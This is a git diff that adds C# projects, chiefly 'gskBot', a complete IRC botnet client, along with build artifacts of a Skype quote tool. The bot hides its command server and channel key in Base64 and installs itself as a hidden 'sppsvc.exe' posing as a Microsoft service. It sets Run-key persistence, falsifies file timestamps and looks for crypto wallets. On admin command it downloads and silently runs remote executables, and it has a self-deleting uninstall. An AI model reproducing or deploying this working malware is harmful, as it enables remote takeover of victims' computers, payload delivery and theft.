Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferences.cache new file mode 100644 index 0000000..d407d06 Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferences.cache differ diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache new file mode 100644 index 0000000..25e0d15 Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache differ diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Main.resources b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Main.resources new file mode 100644 index 0000000..6d4d0b8 Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Main.resources differ diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Properties.Resources.resources b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Properties.Resources.resources new file mode 100644 index 0000000..06c24d0 Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Properties.Resources.resources differ diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.FileListAbsolute.txt b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..4818505 --- /dev/null +++ b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.FileListAbsolute.txt @@ -0,0 +1,9 @@ +c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\bin\Debug\SkypeQuote.exe.config +c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\bin\Debug\SkypeQuote.exe +c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\bin\Debug\SkypeQuote.pdb +c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.csprojResolveAssemblyReference.cache +c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.Main.resources +c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.Properties.Resources.resources +c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.csproj.GenerateResource.Cache +c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.exe +c:\users\john\documents\visual studio 2015\Projects\SkypeQuote\SkypeQuote\obj\Debug\SkypeQuote.pdb diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.GenerateResource.Cache b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.GenerateResource.Cache new file mode 100644 index 0000000..c7523f5 Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.GenerateResource.Cache differ diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csprojResolveAssemblyReference.cache b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csprojResolveAssemblyReference.cache new file mode 100644 index 0000000..f68a200 Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csprojResolveAssemblyReference.cache differ diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.exe b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.exe new file mode 100644 index 0000000..ea2f132 Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.exe differ diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.pdb b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.pdb new file mode 100644 index 0000000..5f5b43e Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.pdb differ diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll new file mode 100644 index 0000000..7fcfb31 Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll differ diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs new file mode 100644 index 0000000..e69de29 diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs new file mode 100644 index 0000000..e69de29 diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs b/c#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs new file mode 100644 index 0000000..e69de29 diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/skype.ico b/c#/Skype Quote Generator/Source/SkypeQuote/skype.ico new file mode 100644 index 0000000..f26e3da Binary files /dev/null and b/c#/Skype Quote Generator/Source/SkypeQuote/skype.ico differ diff --git a/c#/gskBot/.vs/gskBot/v14/.suo b/c#/gskBot/.vs/gskBot/v14/.suo new file mode 100644 index 0000000..7499a3d Binary files /dev/null and b/c#/gskBot/.vs/gskBot/v14/.suo differ diff --git a/c#/gskBot/gskBot.sln b/c#/gskBot/gskBot.sln new file mode 100644 index 0000000..1f3c9ed --- /dev/null +++ b/c#/gskBot/gskBot.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Express 2013 for Windows Desktop +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "gskBot", "gskBot\gskBot.csproj", "{E3BEC248-AB70-4696-B5D1-46C275D8970E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {E3BEC248-AB70-4696-B5D1-46C275D8970E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {E3BEC248-AB70-4696-B5D1-46C275D8970E}.Debug|Any CPU.Build.0 = Debug|Any CPU + {E3BEC248-AB70-4696-B5D1-46C275D8970E}.Release|Any CPU.ActiveCfg = Release|Any CPU + {E3BEC248-AB70-4696-B5D1-46C275D8970E}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/c#/gskBot/gskBot.v12.suo b/c#/gskBot/gskBot.v12.suo new file mode 100644 index 0000000..db59b25 Binary files /dev/null and b/c#/gskBot/gskBot.v12.suo differ diff --git a/c#/gskBot/gskBot/App.config b/c#/gskBot/gskBot/App.config new file mode 100644 index 0000000..77ed642 --- /dev/null +++ b/c#/gskBot/gskBot/App.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/c#/gskBot/gskBot/Bot.cs b/c#/gskBot/gskBot/Bot.cs new file mode 100644 index 0000000..c830f5d --- /dev/null +++ b/c#/gskBot/gskBot/Bot.cs @@ -0,0 +1,60 @@ +#region Imports +using System.Threading; +using Microsoft.Win32; +//using System.Reflection; +#endregion + +#region Assembly +/* +[assembly: AssemblyTitle("")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] +[assembly: AssemblyCopyright("")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] +[assembly: ComVisible(false)] +[assembly: Guid("00000000-0000-0000-0000-000000000000")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] +*/ +#endregion + +namespace gskBot { + class Bot { + #region Startup + static void Main() { + if (Config.Startup) Function.Install(); + SystemEvents.PowerModeChanged += SessionEvents; + SystemEvents.SessionEnding += PowerEvents; + Thread.Sleep(Config.ConnectionDelay); + IRC.Connect(); + } + #endregion + + #region Events + static void PowerEvents(object sender, SessionEndingEventArgs e) { + switch (e.Reason) { + case SessionEndReasons.Logoff: + if (IRC.Connected) IRC.Quit("LOGOFF"); + break; + case SessionEndReasons.SystemShutdown: + if (IRC.Connected) IRC.Quit("SHUTDOWN"); + break; + } + } + + static void SessionEvents(object sender, PowerModeChangedEventArgs e) { + switch (e.Mode) { + case PowerModes.Resume: + IRC.Connect(); + break; + case PowerModes.Suspend: + if (IRC.Connected) IRC.Quit("SLEEP"); + break; + } + } + #endregion + } +} \ No newline at end of file diff --git a/c#/gskBot/gskBot/Config.cs b/c#/gskBot/gskBot/Config.cs new file mode 100644 index 0000000..22cb864 --- /dev/null +++ b/c#/gskBot/gskBot/Config.cs @@ -0,0 +1,38 @@ +#region Imports +using System; +using System.Diagnostics; +#endregion + +namespace gskBot { + class Config { + #region Connection Settings + public static string Server = Function.Base64Decode("aXJjLnN1cGVybmV0cy5vcmc="); // irc.supernets.org + public static string Channel = Function.Base64Decode("I2hhcmJvcg=="); // #harbor + public static string ChannelKey = Function.Base64Decode("QmFiQ2FkeTE5OTU="); // BabCady1995 + public static int Port = 6697; + #endregion + + #region Bot Settings + public static string ID = Function.RandomStr(6).ToUpper(); + public static string Nick = Function.GetCountryCode() + "|" + Function.GetOS() + "-" + Function.GetMachineType() + "|" + ID; + public static string AdminHost = Function.Base64Decode("c3VwZXIubmV0cw=="); + #endregion + + #region Startup Settings + public static bool Persistance = true; + public static bool Startup = true; + public static string StartupKeyName = "Windows Host Module"; + public static string StartupKeyDir = @"Software\Microsoft\Windows\CurrentVersion\Run"; + public static string AppData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + public static string InstallFile = AppData + @"\Microsoft\Windows\Services\sppsvc.exe"; + #endregion + + #region Other Settings + public static bool Debug = false; + public static int ConnectionDelay = 30000; + public static int ReconnectDelay = 300000; + public static string SelfPath = Process.GetCurrentProcess().MainModule.FileName; + public static string Version = "1.0.0"; + #endregion + } +} diff --git a/c#/gskBot/gskBot/Function.cs b/c#/gskBot/gskBot/Function.cs new file mode 100644 index 0000000..169942c --- /dev/null +++ b/c#/gskBot/gskBot/Function.cs @@ -0,0 +1,235 @@ +#region Imports +using Microsoft.Win32; +using System; +using System.Diagnostics; +using System.IO; +using System.Net; +using System.Reflection; +using System.Security.Cryptography; +using System.Security.Principal; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; +#endregion + +namespace gskBot { + class Function { + #region Check Network + public static bool CheckNetwork() { + return System.Net.NetworkInformation.NetworkInterface.GetIsNetworkAvailable(); + } + #endregion + + #region CryptoCurrency Check + public static bool CheckBTC() { + if (File.Exists(Config.AppData + @"\Bitcoin\wallet.dat")) return true; + else return false; + } + + public static bool CheckLTC() { + if (File.Exists(Config.AppData + @"\Litecoin\wallet.dat")) return true; + else return false; + } + #endregion + + #region Download & Execute + public static void Download(string URL) { + string TempFile = Path.GetTempPath() + Function.RandomStr(6) + Path.GetExtension(URL); + using (WebClient WC = new WebClient()) WC.DownloadFile(URL, TempFile); + using (Process DropProcesss = new Process()) { + DropProcesss.StartInfo.FileName = TempFile; + DropProcesss.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; + DropProcesss.StartInfo.CreateNoWindow = true; + DropProcesss.Start(); + } + } + #endregion + + #region Get Admin + public static bool GetAdmin() { + return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); + } + #endregion + + #region Get Age + public static string GetAge() { + DateTime CreationTime = File.GetCreationTime(Config.SelfPath); + if (DateTime.Now.Subtract(CreationTime).TotalHours < 1) return " [NEW]"; + else return ""; + } + #endregion + + #region Get Computer Name + public static string GetComputerName() { + return Environment.MachineName; + } + #endregion + + #region Get Country Code + public static string GetCountryCode() { + return System.Globalization.RegionInfo.CurrentRegion.TwoLetterISORegionName; + } + #endregion + + #region Get IP Address + public static string GetIP() { + try { + string externalIP; + externalIP = (new WebClient()).DownloadString("http://checkip.dyndns.org/"); + externalIP = (new Regex(@"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}")).Matches(externalIP)[0].ToString(); + return externalIP; + } catch { + return "Unknown IP"; + } + } + #endregion + + #region Get Machine Type + public static string GetMachineType() { + if (Registry.LocalMachine.OpenSubKey(@"Hardware\Description\System\CentralProcessor\0").GetValue("Identifier").ToString().Contains("x86")) return "32"; + else return "64"; + } + #endregion + + #region Get Operating System + public static string GetOS() { + int Major = Environment.OSVersion.Version.Major; + int Minor = Environment.OSVersion.Version.Minor; + if (Environment.OSVersion.Platform == PlatformID.Win32Windows) { + if (Minor == 0) return "W95"; + else if (Minor == 10) return "W98"; + else if (Minor == 90) return "WME"; + else return "W?"; + } else if (Environment.OSVersion.Platform == PlatformID.Win32NT) { + if (Major == 5 & Minor == 0) return "WS2K"; + else if (Major == 5 & Minor == 1) return "WXP"; + else if (Major == 5 & Minor == 2) return "WS2K3"; + else if (Major == 6 & Minor == 0) return "WV"; + else if (Major == 6 & Minor == 1) return "W7"; + else if (Major == 6 & Minor == 2) return "W8"; + else if (Major == 6 & Minor == 3) return "W81"; + else if (Major == 10) return "W10"; + else return "W?"; + } else return "W?"; + } + #endregion + + #region Get File Size + public static string GetFileSize(string URL) { + WebRequest RequestURL = HttpWebRequest.Create(URL); + RequestURL.Method = "HEAD"; + WebResponse resp = RequestURL.GetResponse(); + long ContentLength = 0; + long FileSizeConverted; + if (long.TryParse(resp.Headers.Get("Content-Length"), out ContentLength)) { + string FileSize; + string FileSizeExt; + if (ContentLength >= 1073741824) { + FileSizeConverted = ContentLength / 1073741824; + FileSizeExt = "Gb"; + } else if (ContentLength >= 1048576) { + FileSizeConverted = ContentLength / 1048576; + FileSizeExt = "Mb"; + } else { + FileSizeConverted = ContentLength / 1024; + FileSizeExt = "Kb"; + } + FileSize = FileSizeConverted.ToString("0"); + return FileSize + " " + FileSizeExt; + } else { + return "Unknown Size"; + } + } + #endregion + + #region Get Username + public static string GetUsername() { + return Environment.UserName; + } + #endregion + + #region Hash Encoding + public static string Base64Encode(string plainText) { + var plainTextBytes = Encoding.UTF8.GetBytes(plainText); + return Convert.ToBase64String(plainTextBytes); + } + + public static string Base64Decode(string base64EncodedData) { + var base64EncodedBytes = Convert.FromBase64String(base64EncodedData); + return Encoding.UTF8.GetString(base64EncodedBytes); + } + + public static string MD5File(string FileName) { + using (var md5 = MD5.Create()) { + using (var stream = File.OpenRead(FileName)) { + return BitConverter.ToString(md5.ComputeHash(stream)).Replace("-", string.Empty); + } + } + } + #endregion + + #region Persistence + public static void Persistence() { + RegistryKey HKCU = Registry.CurrentUser.OpenSubKey(Config.StartupKeyDir, true); + while (Config.Persistance) { + HKCU.SetValue(Config.StartupKeyName, Config.InstallFile); + Thread.Sleep(5000); + } + } + #endregion + + #region Random Integer / String + public static int RandomInt(int min, int max) { + Random RandomObject = new Random(); + return RandomObject.Next(min, max); + } + + public static string RandomStr(int size) { + Random RandomObject = new Random(); + string CharList = "abcdefghijklmnpqrstuvwxyz23456789"; + char[] buffer = new char[size]; + for (int i = 0; i < size; i++) buffer[i] = CharList[RandomObject.Next(CharList.Length)]; + return new string(buffer); + } + #endregion + + #region Install / Uninstall + public static void Install() { + if (Config.SelfPath == Config.InstallFile) new Thread(Persistence).Start(); + else { + if (!File.Exists(Config.InstallFile)) { + if (!Directory.Exists(Config.InstallFile)) Directory.CreateDirectory(Path.GetDirectoryName(Config.InstallFile)); + Directory.SetCreationTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59))); + Directory.SetLastAccessTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59))); + Directory.SetLastWriteTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59))); + File.Copy(Config.SelfPath, Config.InstallFile, true); + File.SetCreationTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59))); + File.SetLastAccessTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59))); + File.SetLastWriteTime(Config.SelfPath, new DateTime(RandomInt(2008, 2013), RandomInt(1, 12), RandomInt(1, 28), RandomInt(0, 23), RandomInt(0, 59), RandomInt(0, 59))); + File.SetAttributes(Config.InstallFile, FileAttributes.Hidden | FileAttributes.System | FileAttributes.ReadOnly | FileAttributes.NotContentIndexed); + Process.Start(Config.InstallFile); + Environment.Exit(0); + } else Environment.Exit(0); + } + } + + public static void Uninstall() { + Config.Persistance = false; + try { + RegistryKey HKCU = Registry.CurrentUser.OpenSubKey(Config.StartupKeyDir, true); + HKCU.DeleteValue(Config.StartupKeyName); + File.SetAttributes(Config.SelfPath, FileAttributes.Normal); + ProcessStartInfo MeltProcess = new ProcessStartInfo(); + MeltProcess.Arguments = "/C choice /C Y /N /D Y /T 3 & Del " + Config.SelfPath; + MeltProcess.WindowStyle = ProcessWindowStyle.Hidden; + MeltProcess.CreateNoWindow = true; + MeltProcess.FileName = "cmd.exe"; + Process.Start(MeltProcess); + Environment.Exit(0); + } catch { + Environment.Exit(0); + } + } + #endregion + } +} \ No newline at end of file diff --git a/c#/gskBot/gskBot/IRC.cs b/c#/gskBot/gskBot/IRC.cs new file mode 100644 index 0000000..6deff94 --- /dev/null +++ b/c#/gskBot/gskBot/IRC.cs @@ -0,0 +1,146 @@ +#region Imports +using System; +using System.Diagnostics; +using System.Net.Sockets; +using System.Text.RegularExpressions; +using System.IO; +using System.Threading; +using System.Net.Security; +using System.Security.Cryptography.X509Certificates; +#endregion + +namespace gskBot { + class IRC { + #region Globals + static SslStream SslStream; + static StreamReader SockRead; + static StreamWriter SockWrite; + static TcpClient TCP; + public static bool Connected = false; + static string Data; + static string[] Args; + #endregion + + #region Close Connections + public static void CloseConnections() { + SockRead.Close(); + SockWrite.Close(); + SslStream.Close(); + TCP.Close(); + Connected = false; + } + #endregion + + #region Connect + public static void Connect() { + try { + TCP = new TcpClient(Config.Server, Config.Port) { ReceiveBufferSize = 1024 }; + SslStream = new SslStream(TCP.GetStream(), false, new RemoteCertificateValidationCallback(OnCertificateValidation)); + SslStream.AuthenticateAsClient(Config.Server); + SockRead = new StreamReader(SslStream); + SockWrite = new StreamWriter(SslStream) { AutoFlush = true, NewLine = "\r\n" }; + Raw("NICK " + Config.Nick); + Raw("USER " + Config.ID.ToLower() + " * " + Config.Server + " :" + Config.Nick); + Connected = true; + Listen(); + } catch { + Reconnect(); + } + } + #endregion + + #region Command Handler + public static void CommandHandler(string Data) { + if (Data != null) { + if (Config.Debug) Console.WriteLine(Data); + Args = Data.Split(); + if (Args.Length >= 2) { + if (Args[0] == "PING") Raw("PONG " + Args[1]); + else if (Args[1] == "002") Raw("JOIN " + Config.Channel + " " + Config.ChannelKey); //Why is 001 not showing? + else if (Args[1] == "KICK") Raw("JOIN " + Config.Channel + " " + Config.ChannelKey); + else if (Args[1] == "PRIVMSG") { + string Message = Regex.Split(Data, Config.Channel + " :")[1]; + string Nick = Data.Split(' ')[0].Split('!')[0].Replace(":", ""); + string Host = Data.Split(' ')[0].Split('@')[1]; + if (Host == Config.AdminHost & Message.StartsWith("@")) { + if (Message == "@coin") { + if (Function.CheckBTC()) SendMessage("Bitcoin wallet found."); + if (Function.CheckLTC()) SendMessage("Litecoin wallet found."); + } else if (Message.StartsWith("@dl all ") | Message.StartsWith("@dl " + Config.ID + " ")) { + string URL = Message.Replace("@dl " + Config.ID + " ", string.Empty); + URL = URL.Replace("@dl all ", string.Empty); + Uri FileURL = new Uri(URL); + if (URL.EndsWith(".exe")) { + SendMessage("Downloading \"" + Path.GetFileName(FileURL.LocalPath) + "\" (" + Function.GetFileSize(URL) + ")"); + Stopwatch DownloadTimer = new Stopwatch(); + DownloadTimer.Start(); + Function.Download(URL); + DownloadTimer.Stop(); + SendMessage("Download Complete! (" + Convert.ToInt32(DownloadTimer.Elapsed.TotalSeconds).ToString() + " Seconds)"); + } else SendMessage("Error - Invalid URL"); + } else if (Message == "@info" | Message == "@info " + Config.ID) { + SendMessage(Config.Version + " - " + Function.GetUsername() + "@" + Function.GetComputerName() + " (" + Function.GetIP() + ")" + Function.GetAge()); + } else if (Message == "@kill " + Config.ID) { + Quit("KILL"); + if (Config.Startup) Function.Uninstall(); + else Environment.Exit(0); + } + } + } else if (Args[1] == ":Closing Link:") Connected = false; + } + } else Connected = false; + } + #endregion + + #region Listen + public static void Listen() { + while (Connected) { + try { + Data = SockRead.ReadLine(); + new Thread(() => CommandHandler(Data)).Start(); + } catch { + break; + } + } + Reconnect(); + } + #endregion + + #region Reconnect + public static void Reconnect() { + CloseConnections(); + Thread.Sleep(Config.ReconnectDelay); + while (!Function.CheckNetwork()) { + Thread.Sleep(10000); + } + Connect(); + } + #endregion + + #region Raw Message + public static void Raw(string Message) { + SockWrite.WriteLine(Message); + } + #endregion + + #region Send Message + public static void SendMessage(string Message) { + Raw("PRIVMSG " + Config.Channel + " :" + Message); + } + #endregion + + #region SSL Certificate Validation + private static bool OnCertificateValidation(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors errors) + { + return true; + } + #endregion + + #region Quit + public static void Quit(string Message) { + if (Connected) SockWrite.WriteLine("QUIT " + Message); + CloseConnections(); + } + #endregion + } +} diff --git a/c#/gskBot/gskBot/Properties/AssemblyInfo.cs b/c#/gskBot/gskBot/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..2d1df5f --- /dev/null +++ b/c#/gskBot/gskBot/Properties/AssemblyInfo.cs @@ -0,0 +1,33 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("Microsoft Software Protection Platform Service")] +[assembly: AssemblyDescription("Microsoft Software Protection Platform Service")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyProduct("Microsoft® Windows® Operating System")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("6de825be-64df-4908-b52b-bf300f7a86b0")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +[assembly: AssemblyVersion("6.3.0.0")] +[assembly: AssemblyFileVersion("6.3.0.0")] diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.exe b/c#/gskBot/gskBot/bin/Debug/gskBot.exe new file mode 100644 index 0000000..3f485ce Binary files /dev/null and b/c#/gskBot/gskBot/bin/Debug/gskBot.exe differ diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.exe.config b/c#/gskBot/gskBot/bin/Debug/gskBot.exe.config new file mode 100644 index 0000000..77ed642 --- /dev/null +++ b/c#/gskBot/gskBot/bin/Debug/gskBot.exe.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.pdb b/c#/gskBot/gskBot/bin/Debug/gskBot.pdb new file mode 100644 index 0000000..b79b838 Binary files /dev/null and b/c#/gskBot/gskBot/bin/Debug/gskBot.pdb differ diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe b/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe new file mode 100644 index 0000000..01b91bc Binary files /dev/null and b/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe differ diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.config b/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.config new file mode 100644 index 0000000..77ed642 --- /dev/null +++ b/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.manifest b/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.manifest new file mode 100644 index 0000000..f96b1d6 --- /dev/null +++ b/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.manifest @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/c#/gskBot/gskBot/gskBot.csproj b/c#/gskBot/gskBot/gskBot.csproj new file mode 100644 index 0000000..25ee671 --- /dev/null +++ b/c#/gskBot/gskBot/gskBot.csproj @@ -0,0 +1,101 @@ + + + + + Debug + AnyCPU + {E3BEC248-AB70-4696-B5D1-46C275D8970E} + WinExe + Properties + gskBot + gskBot + v2.0 + 512 + false + + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + true + + + AnyCPU + true + pdbonly + true + bin\Debug\ + TRACE + prompt + 4 + false + false + Off + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + false + + + gskBot.Bot + + + icon.ico + + + + + + + + + + + + + + + + + False + Microsoft .NET Framework 4.5 %28x86 and x64%29 + true + + + False + .NET Framework 3.5 SP1 Client Profile + false + + + False + .NET Framework 3.5 SP1 + false + + + + + + + + \ No newline at end of file diff --git a/c#/gskBot/gskBot/gskBot.csproj.user b/c#/gskBot/gskBot/gskBot.csproj.user new file mode 100644 index 0000000..be7881f --- /dev/null +++ b/c#/gskBot/gskBot/gskBot.csproj.user @@ -0,0 +1,13 @@ + + + + publish\ + + + + + + en-US + false + + \ No newline at end of file diff --git a/c#/gskBot/gskBot/icon.ico b/c#/gskBot/gskBot/icon.ico new file mode 100644 index 0000000..9abb5c6 Binary files /dev/null and b/c#/gskBot/gskBot/icon.ico differ diff --git a/c#/gskBot/gskBot/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/c#/gskBot/gskBot/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache new file mode 100644 index 0000000..f2ebf8f Binary files /dev/null and b/c#/gskBot/gskBot/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache differ diff --git a/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs b/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs new file mode 100644 index 0000000..e69de29 diff --git a/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs b/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs new file mode 100644 index 0000000..e69de29 diff --git a/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs b/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs new file mode 100644 index 0000000..e69de29 diff --git a/c#/gskBot/gskBot/obj/Debug/gskBot.csproj.FileListAbsolute.txt b/c#/gskBot/gskBot/obj/Debug/gskBot.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..b8f64f8 --- /dev/null +++ b/c#/gskBot/gskBot/obj/Debug/gskBot.csproj.FileListAbsolute.txt @@ -0,0 +1,24 @@ +c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\bin\Debug\gskBot.exe.config +c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\obj\Debug\gskBot.csprojResolveAssemblyReference.cache +c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\bin\Debug\gskBot.exe +c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\bin\Debug\gskBot.pdb +c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\obj\Debug\gskBot.exe +c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\obj\Debug\gskBot.pdb +C:\Users\Kayla\Desktop\c#\gskBot\gskBot\bin\Debug\gskBot.exe.config +C:\Users\Kayla\Desktop\c#\gskBot\gskBot\bin\Debug\gskBot.exe +C:\Users\Kayla\Desktop\c#\gskBot\gskBot\bin\Debug\gskBot.pdb 